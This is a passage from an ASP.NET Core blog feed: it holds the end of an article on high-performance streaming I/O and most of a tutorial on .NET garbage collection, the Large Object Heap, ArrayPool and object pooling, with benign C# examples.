Observability</code></code></pre><p>The application no longer treats data as one enormous object.</p><p>It treats data as a <strong>flow</strong>.</p><p>That is the deeper architectural idea behind high-performance I/O.</p><h2>How This Connects to the Last Three Articles</h2><p>The last few articles form a progression.</p><p><strong>Backpressure</strong> taught us that producers cannot be allowed to overwhelm consumers indefinitely.</p><p><strong>Graceful shutdown</strong> taught us that outstanding work needs clear ownership, cancellation, and completion rules.</p><p><strong>Memory management</strong> taught us that allocations, large buffers, and retained objects have real runtime costs.</p><p>High-performance I/O brings those ideas together.</p><p>A production data pipeline should be able to:</p><pre><code><code>Process data incrementally
Bound its memory usage
Slow producers when necessary
Cancel abandoned work
Drain safely during shutdown
Avoid unnecessary allocation
Remain observable under load</code></code></pre><p>That is much more valuable than simply calling the fastest API available.</p><h2>Common High-Performance I/O Mistakes</h2><p>Several mistakes appear repeatedly.</p><p><strong>Reading entire large payloads into memory.</strong> This increases peak memory and can create LOH pressure.</p><p><strong>Using synchronous I/O inside request handling.</strong> Waiting threads reduce scalability.</p><p><strong>Using </strong><code>.Result</code><strong> or </strong><code>.Wait()</code><strong>.</strong> Sync-over-async can contribute to Thread Pool starvation.</p><p><strong>Wrapping blocking work in </strong><code>Task.Run</code><strong>.</strong> It moves the blocking operation rather than eliminating it.</p><p><strong>Using enormous per-request buffers.</strong> Buffer cost multiplies with concurrency.</p><p><strong>Flushing after every tiny write.</strong> Too many small operations can reduce throughput.</p><p><strong>Never flushing.</strong> Excessive buffering can increase latency and memory usage.</p><p><strong>Ignoring cancellation.</strong> Work continues after the caller no longer needs the result.</p><p><strong>Using pipelines without understanding </strong><code>AdvanceTo</code><strong>.</strong> Incorrect buffer ownership can create memory growth or hangs.</p><p><strong>Streaming without resource limits.</strong> Streaming protects memory, not every other finite resource.</p><p><strong>Using pipelines everywhere.</strong> Complexity is not a performance feature.</p><h2>A Better Optimization Order</h2><p>If an ASP.NET Core service has I/O performance problems, optimize in this order:</p><pre><code><code>1. Measure the bottleneck.

2. Remove synchronous blocking.

3. Stop retrieving unnecessary data.

4. Avoid buffering large payloads.

5. Stream where the workload allows it.

6. Remove unnecessary copies.

7. Bound buffers and concurrency.

8. Propagate cancellation.

9. Batch appropriately.

10. Profile again.

11. Introduce pipelines where measurements
    justify the added complexity.

12. Tune buffer sizes only with evidence.</code></code></pre><p>Notice where <code>PipeReader</code> appears.</p><p>Not first.</p><p>Architecture usually produces larger gains than micro-optimization.</p><h2>What Good I/O Architecture Looks Like</h2><p>A healthy ASP.NET Core I/O path has predictable resource usage.</p><p>It does not matter whether the application receives:</p><pre><code><code>10 MB</code></code></pre><p>or:</p><pre><code><code>10 GB</code></code></pre><p>if the workload can be processed incrementally and the amount held in memory remains bounded.</p><p>The ideal shape is:</p><pre><code><code>Source
   &#8595;
Small bounded working set
   &#8595;
Processing
   &#8595;
Small bounded working set
   &#8595;
Destination</code></code></pre><p>rather than:</p><pre><code><code>Source
   &#8595;
EVERYTHING IN MEMORY
   &#8595;
Processing
   &#8595;
ANOTHER HUGE OBJECT
   &#8595;
Destination</code></code></pre><p>That difference often matters more than any low-level optimization.</p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore <strong>Native AOT in ASP.NET Core: Faster Startup, Smaller Containers, and the Trade-Offs</strong>.</p><p>So far, we have optimized what happens <strong>while an ASP.NET Core application is running</strong>.</p><p>Native AOT changes a different part of the performance story.</p><p>What if the application could start faster, use less memory, and ship without relying on JIT compilation at runtime?</p><p>That sounds ideal.</p><p>But Native AOT also changes assumptions around reflection, dynamic code generation, libraries, serialization, and deployment.</p><p>We&#8217;ll examine where Native AOT delivers real advantages, where compatibility becomes harder, and how to decide whether those trade-offs make sense for a production <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core application</a>.</p><h2>Closing Thoughts</h2><p>High-performance I/O is not really about streams or pipelines.</p><p>Those are tools.</p><p>The deeper problem is controlling how data moves through the application.</p><p>A scalable ASP.NET Core system should not need to load a giant request into memory just to process it. It should not block a Thread Pool thread while waiting for a network response. It should not repeatedly copy the same bytes between unnecessary intermediate buffers. And it should not continue processing expensive data after the caller has disappeared.</p><p>Streams give us a simple way to process data incrementally.</p><p>Asynchronous I/O prevents waiting operations from unnecessarily occupying threads.</p><p><code>PipeReader</code> and <code>PipeWriter</code> provide more advanced buffer management for performance-sensitive workloads.</p><p>Bounded buffers prevent memory from growing without control.</p><p>Backpressure coordinates fast producers with slower consumers.</p><p>Cancellation stops work that no longer has value.</p><p>Together, these patterns change the way we think about large data.</p><p>Instead of asking:</p><pre><code><code>How do we load this efficiently?</code></code></pre><p>ask:</p><pre><code><code>Do we need to load it at all?</code></code></pre><p>Instead of asking:</p><pre><code><code>How large should our buffer be?</code></code></pre><p>ask:</p><pre><code><code>How many of these buffers can exist concurrently?</code></code></pre><p>Instead of asking:</p><pre><code><code>Should we replace Stream with PipeReader?</code></code></pre><p>ask:</p><pre><code><code>Where does profiling show that
buffer management or copying
is actually limiting us?</code></code></pre><p>That is the difference between performance optimization and performance theater.</p><p>The fastest byte is often the byte you never copy.</p><p>The cheapest buffer is often the buffer you never allocate.</p><p>And the most scalable large-data architecture is often the one that <strong>lets data flow through the application instead of forcing the application to hold all of it at once.</strong></p><h2>Subscribe Now</h2><p>Enjoying the series? <a href="https://www.asptoday.com/">Subscribe to </a><strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, advanced architecture deep dives, and production-ready .NET performance strategies. Join our Substack Chat to discuss streaming, pipelines, memory efficiency, performance tuning, and the engineering decisions behind fast, scalable ASP.NET Core systems. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Memory Management in ASP.NET Core: GC, Allocations, LOH, and Object Pooling ]]></title><description><![CDATA[Master GC, allocations, LOH, and object pooling for faster ASP.NET Core apps. #ASPToday #aspnetcore #dotnet #performance #memory]]></description><link>https://www.asptoday.com/p/memory-management-in-aspnet-core</link><guid isPermaLink="false">https://www.asptoday.com/p/memory-management-in-aspnet-core</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 15 Sep 2026 15:02:07 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!56aB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>An <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> application can have plenty of available CPU, a <a href="https://www.asptoday.com/p/aspnet-core-health-checks-keeping">healthy database</a>, and fast network connections yet still become slow under load because of memory. Every request creates objects, strings, arrays, JSON buffers, collections, and temporary data. Most disappear quickly, which is exactly what .NET&#8217;s garbage collector is designed to handle. Problems begin when an application allocates too much, creates large temporary objects, keeps data alive longer than necessary, or uses pooling without understanding the trade-offs. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!56aB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!56aB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!56aB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!56aB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!56aB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!56aB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2809043,&quot;alt&quot;:&quot;Giant recycling facility sorts and reuses materials, symbolizing GC, allocations, LOH, and pooling. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/215666406?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Giant recycling facility sorts and reuses materials, symbolizing GC, allocations, LOH, and pooling. " title="Giant recycling facility sorts and reuses materials, symbolizing GC, allocations, LOH, and pooling. " srcset="https://substackcdn.com/image/fetch/$s_!56aB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!56aB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!56aB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!56aB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we&#8217;ll look inside .NET memory management, understand generations 0, 1, and 2, explore the Large Object Heap (LOH), identify allocation-heavy ASP.NET Core patterns, and use <code>ArrayPool&lt;T&gt;</code> and object pooling to reduce pressure where it matters.</p><h2>Memory Problems Rarely Begin as &#8220;Out of Memory&#8221;</h2><p>Imagine an ASP.NET Core API processing thousands of requests every second.</p><p>Each request allocates:</p><pre><code><code>Request objects
Strings
JSON models
Collections
Temporary arrays
Database results
Response buffers</code></code></pre><p>None seems particularly dangerous. </p><p>Suppose each request creates 50 KB of short-lived managed allocations.</p><p>At 5,000 requests per second:</p><pre><code><code>50 KB &#215; 5,000
&#8776; 250 MB allocated every second</code></code></pre><p>That does <strong>not</strong> necessarily mean the process permanently grows by 250 MB every second.</p><p>Most of those objects quickly become unreachable and can be reclaimed.</p><p>But somebody still has to clean them up.</p><p>That somebody is the garbage collector.</p><p>This is the first important distinction:</p><p><strong>Memory usage and allocation rate are not the same thing.</strong></p><p>An application might stabilize at a reasonable heap size while allocating enormous quantities of temporary memory.</p><p>The symptom may therefore be latency and CPU consumption rather than an obvious memory leak.</p><h2>What the .NET Garbage Collector Actually Does</h2><p>.NET uses automatic memory management.</p><p>When managed objects are created, the runtime allocates space for them on the managed heap. When objects are no longer reachable from application roots, the garbage collector can reclaim their memory. Microsoft describes the GC as the CLR&#8217;s automatic memory manager, responsible for allocation and reclamation of managed memory. </p><p>Conceptually:</p><pre><code><code>Allocate object
      &#8595;
Use object
      &#8595;
References disappear
      &#8595;
Object becomes unreachable
      &#8595;
GC eventually reclaims memory</code></code></pre><p>That means we usually do not write:</p><pre><code><code>free(customer);
free(order);
free(response);</code></code></pre><p>as we would with manual memory-management models.</p><p>This dramatically reduces an entire category of bugs.</p><p>But automatic does not mean free.</p><p>The garbage collector still consumes resources to determine which objects remain alive and reclaim memory from those that do not.</p><h2>Allocation Is Designed to Be Fast</h2><p>The managed heap is optimized for quick allocation.</p><p>At a simplified level, the runtime can often allocate a new object by advancing a pointer in available heap space. Microsoft notes that this makes managed-heap allocation extremely efficient. </p><p>Imagine:</p><pre><code><code>| object | object | object | free space........ |
                           &#8593;
                    allocation pointer</code></code></pre><p>Create another object:</p><pre><code><code>| object | object | object | NEW | free space... |
                                 &#8593;
                          allocation pointer</code></code></pre><p>The problem is not usually:</p><p><strong>Creating one object is slow.</strong></p><p>The problem is:</p><p><strong>Creating millions of unnecessary objects forces the memory-management system to work harder.</strong></p><p>This distinction matters when optimizing ASP.NET Core.</p><h2>Why the GC Uses Generations</h2><p>Most objects in server applications have short lives.</p><p>A request arrives.</p><p>Objects are created.</p><p>The response is returned.</p><p>Those request-specific objects become unreachable.</p><p>.NET exploits this pattern through a <strong><a href="https://learn.microsoft.com/en-us/dotnet/standard/garbage-collection/?">generational garbage collector</a></strong>.</p><p>The managed heap has three logical generations:</p><pre><code><code>Generation 0
Generation 1
Generation 2</code></code></pre><p>Generation 0 contains the youngest objects.</p><p>Generation 1 acts as an intermediate stage.</p><p>Generation 2 contains longer-lived objects.</p><p><a href="https://learn.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals?">Microsoft</a> explains that this arrangement is based partly on the observation that newer objects generally have shorter lifetimes and that collecting only part of the heap is cheaper than repeatedly examining everything. </p><h2>Generation 0: Where Most Temporary Objects Begin</h2><p>Imagine an API request:</p><pre><code><code>app.MapGet("/products", async (ProductService service) =&gt;
{
    var products = await service.GetProductsAsync();

    var response = new ProductResponse
    {
        Items = products
    };

    return response;
});</code></code></pre><p>Several objects may exist only for that request.</p><p>Those short-lived allocations are exactly what generation 0 is designed to handle.</p><p>Conceptually:</p><pre><code><code>Request arrives
      &#8595;
Temporary objects created
      &#8595;
Request completes
      &#8595;
Objects become unreachable
      &#8595;
Gen 0 collection
      &#8595;
Memory reclaimed</code></code></pre><p>Generation 0 collections happen relatively frequently and are intended to be inexpensive compared with collecting older generations.</p><p>The best outcome for many temporary request objects is simple:</p><p><strong>Die young.</strong></p><h2>Generation 1: The Waiting Room</h2><p>What if an object survives a generation 0 collection?</p><p>It may be promoted to generation 1.</p><p>Generation 1 acts as a buffer between very short-lived objects and genuinely long-lived objects. If those objects survive further collection, they can eventually move to generation 2. </p><p>Think of it as:</p><pre><code><code>Gen 0
"Probably temporary"

   &#8595; survives

Gen 1
"Maybe longer-lived"

   &#8595; survives

Gen 2
"Apparently this object is sticking around"</code></code></pre><p>Promotion itself is not automatically bad.</p><p>Long-lived objects are normal.</p><p>Configuration objects, singleton state, application caches, and other data may legitimately live for a long time.</p><p>Problems appear when objects survive longer <strong>accidentally</strong>.</p><h2>Generation 2: Expensive Territory</h2><p>Generation 2 contains long-lived managed objects.</p><p>A generation 2 collection is effectively a full managed-heap collection because younger generations are collected as well. </p><p>This matters for server applications.</p><p>Frequent Gen 0 collections may be perfectly normal.</p><p>Frequent Gen 2 collections deserve closer investigation.</p><p>They can indicate:</p><pre><code><code>High allocation pressure
Too many surviving objects
Large object allocations
Oversized caches
Long-lived references
Memory pressure</code></code></pre><p>The goal is not:</p><p><strong>Never run Gen 2 GC.</strong></p><p>That would be unrealistic.</p><p>The goal is to avoid application behavior that causes unnecessarily frequent expensive collections.</p><h2>Garbage Collection Can Affect Latency</h2><p>During parts of garbage collection, managed application threads may need to be suspended. Microsoft documents thread suspension as part of GC processing. </p><p>For an interactive web application, this makes memory a latency issue.</p><p>Imagine typical response latency:</p><pre><code><code>p50:  45 ms
p95:  90 ms
p99: 130 ms</code></code></pre><p>Then under high allocation pressure:</p><pre><code><code>p50:   48 ms
p95:  160 ms
p99:  900 ms</code></code></pre><p>Average performance may still appear reasonable.</p><p>Users in the tail experience pauses.</p><p>That is why memory optimization is often about <strong>predictability</strong>, not merely reducing the number displayed in Task Manager.</p><h2>Allocation Rate Is One of the Most Useful Signals</h2><p>Suppose two services both use 1 GB of managed memory.</p><p>Service A allocates:</p><pre><code><code>20 MB/sec</code></code></pre><p>Service B allocates:</p><pre><code><code>1.5 GB/sec</code></code></pre><p>Those applications have radically different memory behavior.</p><p>Heap size alone cannot explain it.</p><p>For performance investigations, useful signals include:</p><pre><code><code>Allocation rate
Managed heap size
Gen 0 collections
Gen 1 collections
Gen 2 collections
LOH size
GC pause time
Time spent in GC
Process working set</code></code></pre><p>Tools such as <code>dotnet-counters</code>, <code>dotnet-trace</code>, <code>dotnet-gcdump</code>, Visual Studio diagnostics, and profiling products can help identify where memory is being allocated and retained.</p><p>Measure first.</p><p>Do not begin by randomly converting code to pools and spans.</p><h2>Temporary Allocations Hide in Innocent Code</h2><p>Consider:</p><pre><code><code>var message =
    "Customer " + customer.Id +
    " placed order " + order.Id +
    " at " + DateTime.UtcNow;</code></code></pre><p>One execution is irrelevant.</p><p>A hot path executing millions of times may be different.</p><p>The same applies to:</p><pre><code><code>LINQ projections
Repeated ToList()
String transformations
Serialization
Large arrays
Repeated buffer creation
Regex work
Collection copying
Intermediate DTOs</code></code></pre><p>None of these APIs is inherently bad.</p><p>Context determines whether allocation matters.</p><h2>Hot Paths Deserve Different Rules</h2><p>Suppose this endpoint receives 20 requests per day:</p><pre><code><code>POST /admin/rebuild-index</code></code></pre><p>Shaving three small allocations from it probably has no practical value.</p><p>Now consider:</p><pre><code><code>GET /telemetry</code></code></pre><p>called 30,000 times per second.</p><p>A small per-request improvement can become significant.</p><p>This gives us a useful optimization rule:</p><p><strong>Allocation cost = allocation size &#215; execution frequency.</strong></p><p>Do not optimize code because an allocation exists.</p><p>Optimize because measurements show the allocation occurs often enough to matter.</p><h2>The Large Object Heap Changes the Picture</h2><p>.NET treats large managed objects differently.</p><p>Objects at or above the LOH threshold, traditionally 85,000 bytes, are placed on the <strong><a href="https://learn.microsoft.com/en-us/dotnet/standard/garbage-collection/large-object-heap?">Large Object Heap</a></strong>. Microsoft documents that large objects are collected with generation 2 and are normally treated differently because moving large blocks of memory is expensive. </p><p>Typical examples include large arrays:</p><pre><code><code>var buffer = new byte[100_000];</code></code></pre><p>or sufficiently large arrays of other types.</p><p>Conceptually:</p><pre><code><code>Small allocations
      &#8595;
Small Object Heap

Large allocation
      &#8595;
Large Object Heap</code></code></pre><p>The threshold is about object size in bytes, not whether the code looks complicated.</p><h2>Why Large Objects Cost More</h2><p>Imagine repeatedly doing:</p><pre><code><code>var buffer = new byte[1_000_000];</code></code></pre><p>Process something.</p><p>Discard it.</p><p>Then repeat.</p><p>The object is temporary, but each allocation is roughly one megabyte.</p><p>At 1,000 operations per second:</p><pre><code><code>~1 GB of large allocations every second</code></code></pre><p>This creates very different pressure from allocating tiny request objects.</p><p>Microsoft&#8217;s ASP.NET Core performance guidance specifically recommends minimizing large-object allocations in hot paths and notes that frequent large allocations can lead to expensive generation 2 collections and inconsistent performance. </p><h2>The LOH Is Usually Not Compacted Like the Small Heap</h2><p>Normal GC compaction can move surviving objects together to remove gaps.</p><p>Large objects are expensive to copy.</p><p>For that reason, the LOH is ordinarily swept rather than routinely compacted. Freed regions can later be reused for other allocations. .NET does provide mechanisms for requesting LOH compaction in specific scenarios, but routine manual compaction is not a substitute for fixing an unhealthy allocation pattern. </p><p>Imagine:</p><pre><code><code>AAAA BBBBBBB CCCC DDDDDD</code></code></pre><p>Some large objects die:</p><pre><code><code>AAAA ........ CCCC ......</code></code></pre><p>Those gaps can be reused.</p><p>But repeated differently sized allocations can make memory behavior less efficient.</p><p>This is one reason <strong>LOH fragmentation</strong> may become relevant in allocation-heavy applications.</p><h2>A Common ASP.NET Core Example: Large Buffers</h2><p>Suppose an application receives large files.</p><p>A naive implementation might repeatedly create large arrays:</p><pre><code><code>var buffer = new byte[1024 * 1024];

while (true)
{
    var read = await stream.ReadAsync(
        buffer,
        cancellationToken);

    if (read == 0)
        break;

    await ProcessAsync(
        buffer.AsMemory(0, read),
        cancellationToken);
}</code></code></pre><p>The buffer itself is one megabyte.</p><p>If this allocation happens once for an occasional operation, no crisis exists.</p><p>If thousands of concurrent requests repeatedly create similar buffers, allocation pressure becomes significant.</p><p>This is where pooling becomes interesting.</p><h2>ArrayPool&lt;T&gt;: Rent Instead of Repeatedly Allocate</h2><p>.NET provides <code>ArrayPool&lt;T&gt;</code> for scenarios where arrays can be reused.</p><p>Instead of:</p><pre><code><code>var buffer = new byte[1024 * 1024];</code></code></pre><p>we can rent:</p><pre><code><code>using System.Buffers;

var pool = ArrayPool&lt;byte&gt;.Shared;
var buffer = pool.Rent(1024 * 1024);

try
{
    // Use the buffer.
}
finally
{
    pool.Return(buffer);
}</code></code></pre><p>The important change is conceptual.</p><p>Without pooling:</p><pre><code><code>Allocate
Use
Discard

Allocate
Use
Discard

Allocate
Use
Discard</code></code></pre><p>With pooling:</p><pre><code><code>Rent
Use
Return
     &#8595;
Rent again</code></code></pre><p>Microsoft&#8217;s ASP.NET Core performance guidance specifically recommends <code>ArrayPool&lt;T&gt;</code> as one option for reducing repeated large-<a href="https://learn.microsoft.com/en-us/dotnet/api/system.buffers.arraypool-1?view=net-10.0&amp;">array</a> allocations. </p><h2>Pooling Does Not Mean &#8220;Free Memory&#8221;</h2><p>This is a crucial distinction.</p><p>When an array is returned to a pool, we are not necessarily returning its memory to the operating system.</p><p>We are making that array available for reuse.</p><p>That means pooling trades:</p><pre><code><code>Fewer repeated allocations</code></code></pre><p>for:</p><pre><code><code>Reusable memory retained by the pool</code></code></pre><p>That can be a very good trade in a hot path.</p><p>But pooling everything can increase retained memory and complexity without improving meaningful performance.</p><h2>Always Return What You Rent</h2><p>This is wrong:</p><pre><code><code>var buffer =
    ArrayPool&lt;byte&gt;.Shared.Rent(1024 * 1024);

await ProcessAsync(buffer);

// Forgot Return()</code></code></pre><p>The pool loses the opportunity to reuse that buffer efficiently.</p><p>Use <code>try/finally</code>:</p><pre><code><code>var buffer =
    ArrayPool&lt;byte&gt;.Shared.Rent(1024 * 1024);

try
{
    await ProcessAsync(buffer);
}
finally
{
    ArrayPool&lt;byte&gt;.Shared.Return(buffer);
}</code></code></pre><p>The ownership rule should be obvious:</p><p><strong>The code that rents the buffer must ensure it is returned exactly once after nobody needs it.</strong></p><h2>Never Use a Buffer After Returning It</h2><p>Consider:</p><pre><code><code>ArrayPool&lt;byte&gt;.Shared.Return(buffer);

await SendLaterAsync(buffer);</code></code></pre><p>That is dangerous.</p><p>After <code>Return</code>, the array no longer belongs exclusively to you.</p><p>Another operation may rent the same array and modify it.</p><p>This can create bugs that appear only under concurrency.</p><p>The safe mental model is:</p><pre><code><code>Rent
  &#8595;
You own temporary access
  &#8595;
Finish all usage
  &#8595;
Return
  &#8595;
Do not touch again</code></code></pre><p>Pooling makes lifetime discipline more important.</p><h2>Sensitive Data Requires Extra Thought</h2><p>Suppose a pooled array temporarily contains:</p><pre><code><code>Authentication tokens
Personal information
Payment-related data
Secrets</code></code></pre><p>Returning the array does not inherently mean every byte has been erased.</p><p><code>ArrayPool&lt;T&gt;.Return</code> supports clearing an array when appropriate:</p><pre><code><code>ArrayPool&lt;byte&gt;.Shared.Return(
    buffer,
    clearArray: true);</code></code></pre><p>Clearing has a cost.</p><p>Whether it is necessary depends on the data, security boundary, and pool usage.</p><p>Performance optimization should never quietly create a data-exposure problem.</p><h2>ObjectPool&lt;T&gt; Extends the Same Idea</h2><p>Arrays are not the only reusable objects.</p><p>ASP.NET Core provides object-pooling infrastructure for objects that are expensive to create and can safely be reset and reused.</p><p>Conceptually:</p><pre><code><code>Create expensive object
Use
Discard
Create expensive object
Use
Discard</code></code></pre><p>becomes:</p><pre><code><code>Get from pool
Use
Reset
Return

Get from pool
Use
Reset
Return</code></code></pre><p>A simplified example might involve a reusable <code>StringBuilder</code>:</p><pre><code><code>public sealed class StringBuilderPolicy
    : PooledObjectPolicy&lt;StringBuilder&gt;
{
    public override StringBuilder Create()
        =&gt; new(capacity: 1024);

    public override bool Return(
        StringBuilder builder)
    {
        if (builder.Capacity &gt; 64 * 1024)
            return false;

        builder.Clear();
        return true;
    }
}</code></code></pre><p>Registration could look like:</p><pre><code><code>builder.Services.AddSingleton&lt;ObjectPool&lt;StringBuilder&gt;&gt;(
    serviceProvider =&gt;
    {
        var provider =
            new DefaultObjectPoolProvider();

        return provider.Create(
            new StringBuilderPolicy());
    });</code></code></pre><p>Then:</p><pre><code><code>var builder = pool.Get();

try
{
    builder.Append("Order ");
    builder.Append(order.Id);

    return builder.ToString();
}
finally
{
    pool.Return(builder);
}</code></code></pre><p>The policy decides whether an object is healthy enough to reuse.</p><h2>Why Reject an Oversized Pooled Object?</h2><p>Look at this line:</p><pre><code><code>if (builder.Capacity &gt; 64 * 1024)
    return false;</code></code></pre><p>Imagine one unusual request forces the builder to grow enormously.</p><p>If we blindly return it to the pool, the application may retain that oversized buffer for future tiny requests.</p><p>Pooling can therefore accidentally turn a temporary memory spike into longer-lived memory.</p><p>A good pool policy asks:</p><p><strong>Is this object worth retaining?</strong></p><p>Sometimes the correct answer is no.</p><h2>Do Not Pool Cheap Objects</h2><p>Suppose we have:</p><pre><code><code>public sealed class Coordinate
{
    public int X { get; set; }
    public int Y { get; set; }
}</code></code></pre><p>Creating one is cheap.</p><p>Adding pooling introduces:</p><pre><code><code>Pool management
Reset logic
Ownership rules
Concurrency considerations
More complicated code
Potential stale state</code></code></pre><p>Pooling is not automatically an optimization.</p><p>It is most useful when objects are:</p><pre><code><code>Expensive to allocate or initialize
Created very frequently
Reusable safely
Easy to reset
Measured as a meaningful allocation cost</code></code></pre><p>The last condition is the most important.</p><h2>Reuse Can Create State Bugs</h2><p>Suppose:</p><pre><code><code>public sealed class WorkBuffer
{
    public string? CustomerId { get; set; }
    public List&lt;string&gt; Items { get; } = new();
}</code></code></pre><p>We return it to a pool without resetting it.</p><p>The next request rents it.</p><p>Now:</p><pre><code><code>Previous CustomerId remains
Previous Items remain</code></code></pre><p>That is both a correctness problem and potentially a privacy problem.</p><p>Every pooled type needs a clear reset contract.</p><p>If resetting it correctly is complicated, pooling may not be worth the risk.</p><h2>IDisposable Solves a Different Problem</h2><p>Memory management discussions often confuse GC with <code>IDisposable</code>.</p><p>Suppose:</p><pre><code><code>using var stream = File.OpenRead(path);</code></code></pre><p>Why dispose the stream if .NET has garbage collection?</p><p>Because the GC manages <strong>managed memory</strong>.</p><p>Some objects wrap resources such as:</p><pre><code><code>File handles
Sockets
Native memory
Operating-system handles</code></code></pre><p>Those resources often need deterministic release.</p><p>Microsoft recommends explicit cleanup for unmanaged resources, commonly through <code>Dispose</code>, even though the managed wrapper itself remains subject to garbage collection. </p><p>So:</p><pre><code><code>GC
&#8594; managed memory lifetime

Dispose
